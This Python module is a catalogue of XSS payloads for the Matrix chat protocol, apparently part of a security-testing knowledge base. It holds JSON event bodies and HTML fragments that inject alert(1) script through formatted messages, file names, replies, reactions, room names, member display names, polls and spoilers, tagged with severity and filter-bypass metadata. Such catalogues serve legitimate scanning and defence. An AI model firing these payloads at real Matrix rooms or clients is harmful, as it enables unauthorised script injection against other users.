# Project: BRS-KB
# Company: EasyProTech LLC (www.easypro.tech)
# Dev: Brabus
# Date: 2025-12-26 UTC
# Status: Created
# Telegram: https://t.me/EasyProTech

"""
Matrix Core XSS Payloads

Core Matrix protocol attack vectors that apply to all implementations.
These are based on the Matrix spec itself.

Profile: matrix-core
"""

from ..models import PayloadEntry


BRS_KB_MATRIX_CORE_PAYLOADS = {
    # ============================================================
    # M.ROOM.MESSAGE - FORMATTED BODY
    # ============================================================
    "matrix-core-formatted-body-img": PayloadEntry(
        payload='{"msgtype":"m.text","body":"test","format":"org.matrix.custom.html","formatted_body":"<img src=x onerror=alert(1)>"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.5,
        description="Matrix formatted_body img onerror injection",
        tags=["matrix", "formatted_body", "img", "onerror"],
        bypasses=["matrix_sanitizer"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="m.room.message / org.matrix.custom.html",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-formatted-body-svg": PayloadEntry(
        payload='{"msgtype":"m.text","body":"test","format":"org.matrix.custom.html","formatted_body":"<svg onload=alert(1)>"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.5,
        description="Matrix formatted_body SVG onload injection",
        tags=["matrix", "formatted_body", "svg", "onload"],
        bypasses=["matrix_sanitizer"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="m.room.message / org.matrix.custom.html",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-formatted-body-script": PayloadEntry(
        payload='{"msgtype":"m.text","body":"test","format":"org.matrix.custom.html","formatted_body":"<script>alert(1)</script>"}',
        contexts=["json", "matrix"],
        severity="critical",
        cvss_score=9.0,
        description="Matrix formatted_body direct script injection",
        tags=["matrix", "formatted_body", "script"],
        bypasses=["matrix_sanitizer"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="m.room.message / org.matrix.custom.html",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-formatted-body-href": PayloadEntry(
        payload='{"msgtype":"m.text","body":"test","format":"org.matrix.custom.html","formatted_body":"<a href=\\"javascript:alert(1)\\">click</a>"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix formatted_body javascript: href",
        tags=["matrix", "formatted_body", "href", "javascript"],
        bypasses=["matrix_sanitizer"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="m.room.message / org.matrix.custom.html",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-formatted-body-data-uri": PayloadEntry(
        payload='{"msgtype":"m.text","body":"test","format":"org.matrix.custom.html","formatted_body":"<a href=\\"data:text/html,<script>alert(1)</script>\\">click</a>"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix formatted_body data: URI injection",
        tags=["matrix", "formatted_body", "data-uri"],
        bypasses=["matrix_sanitizer"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="m.room.message / org.matrix.custom.html",
        known_affected=None,
        profile="matrix-core",
    ),
    # ============================================================
    # M.ROOM.MESSAGE - MESSAGE TYPES
    # ============================================================
    "matrix-core-emote": PayloadEntry(
        payload='{"msgtype":"m.emote","body":"test","format":"org.matrix.custom.html","formatted_body":"* <img src=x onerror=alert(1)>"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix m.emote formatted_body XSS",
        tags=["matrix", "emote", "m.emote"],
        bypasses=["matrix_sanitizer"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="m.room.message / m.emote",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-notice": PayloadEntry(
        payload='{"msgtype":"m.notice","body":"test","format":"org.matrix.custom.html","formatted_body":"<svg onload=alert(1)>"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix m.notice formatted_body XSS",
        tags=["matrix", "notice", "m.notice"],
        bypasses=["matrix_sanitizer"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="m.room.message / m.notice",
        known_affected=None,
        profile="matrix-core",
    ),
    # ============================================================
    # M.ROOM.MESSAGE - FILE TYPES
    # ============================================================
    "matrix-core-file-body": PayloadEntry(
        payload='{"msgtype":"m.file","body":"<img src=x onerror=alert(1)>.txt","url":"mxc://server/media_id"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix m.file body (filename) XSS",
        tags=["matrix", "file", "m.file", "filename"],
        bypasses=["filename_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="m.room.message / m.file",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-image-body": PayloadEntry(
        payload='{"msgtype":"m.image","body":"<script>alert(1)</script>.png","url":"mxc://server/media_id","info":{"mimetype":"image/png"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix m.image body (filename) XSS",
        tags=["matrix", "image", "m.image", "filename"],
        bypasses=["filename_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="m.room.message / m.image",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-video-body": PayloadEntry(
        payload='{"msgtype":"m.video","body":"<img src=x onerror=alert(1)>.mp4","url":"mxc://server/media_id"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix m.video body (filename) XSS",
        tags=["matrix", "video", "m.video", "filename"],
        bypasses=["filename_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="m.room.message / m.video",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-audio-body": PayloadEntry(
        payload='{"msgtype":"m.audio","body":"<script>alert(1)</script>.mp3","url":"mxc://server/media_id"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix m.audio body (filename) XSS",
        tags=["matrix", "audio", "m.audio", "filename"],
        bypasses=["filename_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="m.room.message / m.audio",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-sticker-body": PayloadEntry(
        payload='{"msgtype":"m.sticker","body":"<img src=x onerror=alert(1)>","url":"mxc://server/media_id","info":{"mimetype":"image/png"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix m.sticker body XSS",
        tags=["matrix", "sticker", "m.sticker"],
        bypasses=["sticker_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="m.room.message / m.sticker",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-location-body": PayloadEntry(
        payload='{"msgtype":"m.location","body":"<script>alert(1)</script>","geo_uri":"geo:51.5,-0.1"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix m.location body XSS",
        tags=["matrix", "location", "m.location"],
        bypasses=["location_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="m.room.message / m.location",
        known_affected=None,
        profile="matrix-core",
    ),
    # ============================================================
    # M.ROOM.MESSAGE - REPLY FALLBACK
    # ============================================================
    "matrix-core-reply-fallback": PayloadEntry(
        payload='<mx-reply><blockquote><a href="https://matrix.to/#/!room:server/$event">In reply to</a> <a href="https://matrix.to/#/@user:server">@user</a><br><img src=x onerror=alert(1)></blockquote></mx-reply>',
        contexts=["html_content", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix mx-reply fallback content XSS",
        tags=["matrix", "reply", "mx-reply", "fallback"],
        bypasses=["reply_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="m.room.message / rich replies",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-reply-user-id": PayloadEntry(
        payload='<mx-reply><blockquote><a href="https://matrix.to/#/@<script>alert(1)</script>:server">@user</a></blockquote></mx-reply>',
        contexts=["html_content", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix mx-reply user ID injection",
        tags=["matrix", "reply", "mx-reply", "user_id"],
        bypasses=["reply_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="client",
        spec_ref="m.room.message / rich replies",
        known_affected=None,
        profile="matrix-core",
    ),
    # ============================================================
    # M.ROOM.MESSAGE - RELATIONS
    # ============================================================
    "matrix-core-reaction-key": PayloadEntry(
        payload='{"type":"m.reaction","content":{"m.relates_to":{"rel_type":"m.annotation","event_id":"$event","key":"<img src=x onerror=alert(1)>"}}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix reaction key (emoji) XSS",
        tags=["matrix", "reaction", "m.reaction", "annotation"],
        bypasses=["reaction_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="MSC2677 / m.annotation",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-edit-new-content": PayloadEntry(
        payload='{"type":"m.room.message","content":{"msgtype":"m.text","body":"* edited","m.new_content":{"msgtype":"m.text","body":"x","format":"org.matrix.custom.html","formatted_body":"<img src=x onerror=alert(1)>"},"m.relates_to":{"rel_type":"m.replace","event_id":"$event"}}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.5,
        description="Matrix edit m.new_content XSS",
        tags=["matrix", "edit", "m.replace", "new_content"],
        bypasses=["edit_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="MSC2676 / m.replace",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-thread-fallback": PayloadEntry(
        payload='{"type":"m.room.message","content":{"msgtype":"m.text","body":"thread","format":"org.matrix.custom.html","formatted_body":"<img src=x onerror=alert(1)>","m.relates_to":{"rel_type":"m.thread","event_id":"$root","is_falling_back":true}}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix thread fallback XSS",
        tags=["matrix", "thread", "m.thread", "fallback"],
        bypasses=["thread_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="MSC3440 / m.thread",
        known_affected=None,
        profile="matrix-core",
    ),
    # ============================================================
    # ROOM STATE EVENTS
    # ============================================================
    "matrix-core-room-name": PayloadEntry(
        payload='{"type":"m.room.name","state_key":"","content":{"name":"<img src=x onerror=alert(1)>"}}',
        contexts=["json", "matrix"],
        severity="critical",
        cvss_score=9.0,
        description="Matrix m.room.name XSS",
        tags=["matrix", "room", "name", "state"],
        bypasses=["state_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="m.room.name",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-room-topic": PayloadEntry(
        payload='{"type":"m.room.topic","state_key":"","content":{"topic":"<script>alert(1)</script>"}}',
        contexts=["json", "matrix"],
        severity="critical",
        cvss_score=9.0,
        description="Matrix m.room.topic XSS",
        tags=["matrix", "room", "topic", "state"],
        bypasses=["state_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="m.room.topic",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-room-avatar": PayloadEntry(
        payload='{"type":"m.room.avatar","state_key":"","content":{"url":"javascript:alert(1)"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix m.room.avatar URL XSS",
        tags=["matrix", "room", "avatar", "state"],
        bypasses=["url_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="client",
        spec_ref="m.room.avatar",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-canonical-alias": PayloadEntry(
        payload='{"type":"m.room.canonical_alias","state_key":"","content":{"alias":"#<script>alert(1)</script>:server"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix m.room.canonical_alias XSS",
        tags=["matrix", "room", "alias", "state"],
        bypasses=["alias_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="client",
        spec_ref="m.room.canonical_alias",
        known_affected=None,
        profile="matrix-core",
    ),
    # ============================================================
    # MEMBER STATE
    # ============================================================
    "matrix-core-member-displayname": PayloadEntry(
        payload='{"type":"m.room.member","state_key":"@user:server","content":{"membership":"join","displayname":"<img src=x onerror=alert(1)>"}}',
        contexts=["json", "matrix"],
        severity="critical",
        cvss_score=9.0,
        description="Matrix member displayname XSS",
        tags=["matrix", "member", "displayname", "state"],
        bypasses=["displayname_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="m.room.member",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-member-avatar": PayloadEntry(
        payload='{"type":"m.room.member","state_key":"@user:server","content":{"membership":"join","avatar_url":"javascript:alert(1)"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix member avatar_url XSS",
        tags=["matrix", "member", "avatar", "state"],
        bypasses=["url_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="client",
        spec_ref="m.room.member",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-member-reason": PayloadEntry(
        payload='{"type":"m.room.member","state_key":"@user:server","content":{"membership":"ban","reason":"<script>alert(1)</script>"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix ban/kick reason XSS",
        tags=["matrix", "member", "reason", "ban", "kick"],
        bypasses=["reason_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="m.room.member",
        known_affected=None,
        profile="matrix-core",
    ),
    # ============================================================
    # SPACES
    # ============================================================
    "matrix-core-space-name": PayloadEntry(
        payload='{"type":"m.room.name","state_key":"","content":{"name":"<script>alert(1)</script>"}}',
        contexts=["json", "matrix"],
        severity="critical",
        cvss_score=9.0,
        description="Matrix space name XSS",
        tags=["matrix", "space", "name"],
        bypasses=["space_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="MSC1772 / Spaces",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-space-child": PayloadEntry(
        payload='{"type":"m.space.child","state_key":"!room:server","content":{"via":["<script>alert(1)</script>"]}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix space child via server XSS",
        tags=["matrix", "space", "child", "via"],
        bypasses=["space_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="client",
        spec_ref="MSC1772 / m.space.child",
        known_affected=None,
        profile="matrix-core",
    ),
    # ============================================================
    # POLLS
    # ============================================================
    "matrix-core-poll-question": PayloadEntry(
        payload='{"type":"m.poll.start","content":{"m.poll":{"question":{"m.text":"<img src=x onerror=alert(1)>"},"answers":[]}}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix poll question XSS",
        tags=["matrix", "poll", "question"],
        bypasses=["poll_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="MSC3381 / m.poll.start",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-poll-answer": PayloadEntry(
        payload='{"type":"m.poll.start","content":{"m.poll":{"question":{"m.text":"Q"},"answers":[{"id":"1","m.text":"<script>alert(1)</script>"}]}}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix poll answer XSS",
        tags=["matrix", "poll", "answer"],
        bypasses=["poll_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="MSC3381 / m.poll.start",
        known_affected=None,
        profile="matrix-core",
    ),
    # ============================================================
    # VOIP
    # ============================================================
    "matrix-core-call-displayname": PayloadEntry(
        payload='{"type":"m.call.invite","content":{"call_id":"x","party_id":"y","offer":{},"lifetime":60000,"invitee_displayname":"<img src=x onerror=alert(1)>"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix call invite displayname XSS",
        tags=["matrix", "call", "voip", "displayname"],
        bypasses=["call_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="m.call.invite",
        known_affected=None,
        profile="matrix-core",
    ),
    # ============================================================
    # SPOILER
    # ============================================================
    "matrix-core-spoiler-reason": PayloadEntry(
        payload='<span data-mx-spoiler="<img src=x onerror=alert(1)>">hidden</span>',
        contexts=["html_content", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix spoiler reason attribute XSS",
        tags=["matrix", "spoiler", "data-mx-spoiler"],
        bypasses=["matrix_sanitizer"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="org.matrix.custom.html / spoiler",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-spoiler-content": PayloadEntry(
        payload="<span data-mx-spoiler><img src=x onerror=alert(1)></span>",
        contexts=["html_content", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix spoiler content XSS",
        tags=["matrix", "spoiler", "content"],
        bypasses=["matrix_sanitizer"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="org.matrix.custom.html / spoiler",
        known_affected=None,
        profile="matrix-core",
    ),
    # ============================================================
    # PILLS
    # ============================================================
    "matrix-core-user-pill": PayloadEntry(
        payload='<a href="https://matrix.to/#/@<script>alert(1)</script>:server">@user</a>',
        contexts=["html_content", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix user pill/mention XSS",
        tags=["matrix", "pill", "mention", "user"],
        bypasses=["pill_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="client",
        spec_ref="matrix.to URI / user mention",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-room-pill": PayloadEntry(
        payload='<a href="https://matrix.to/#/!<img src=x onerror=alert(1)>:server">#room</a>',
        contexts=["html_content", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix room pill XSS",
        tags=["matrix", "pill", "room"],
        bypasses=["pill_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="client",
        spec_ref="matrix.to URI / room mention",
        known_affected=None,
        profile="matrix-core",
    ),
    # ============================================================
    # MEDIA INFO
    # ============================================================
    "matrix-core-thumbnail-url": PayloadEntry(
        payload='{"msgtype":"m.video","body":"video","url":"mxc://s/m","info":{"thumbnail_url":"javascript:alert(1)"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix thumbnail_url javascript: XSS",
        tags=["matrix", "thumbnail", "url"],
        bypasses=["url_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="client",
        spec_ref="m.room.message / m.video info",
        known_affected=None,
        profile="matrix-core",
    ),
    "matrix-core-mimetype": PayloadEntry(
        payload='{"msgtype":"m.file","body":"file","url":"mxc://s/m","info":{"mimetype":"<script>alert(1)</script>"}}',
        contexts=["json", "matrix"],
        severity="medium",
        cvss_score=6.5,
        description="Matrix file mimetype XSS",
        tags=["matrix", "file", "mimetype"],
        bypasses=["mimetype_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="client",
        spec_ref="m.room.message / m.file info",
        known_affected=None,
        profile="matrix-core",
    ),
}

BRS_KB_MATRIX_CORE_TOTAL_PAYLOADS = len(BRS_KB_MATRIX_CORE_PAYLOADS)
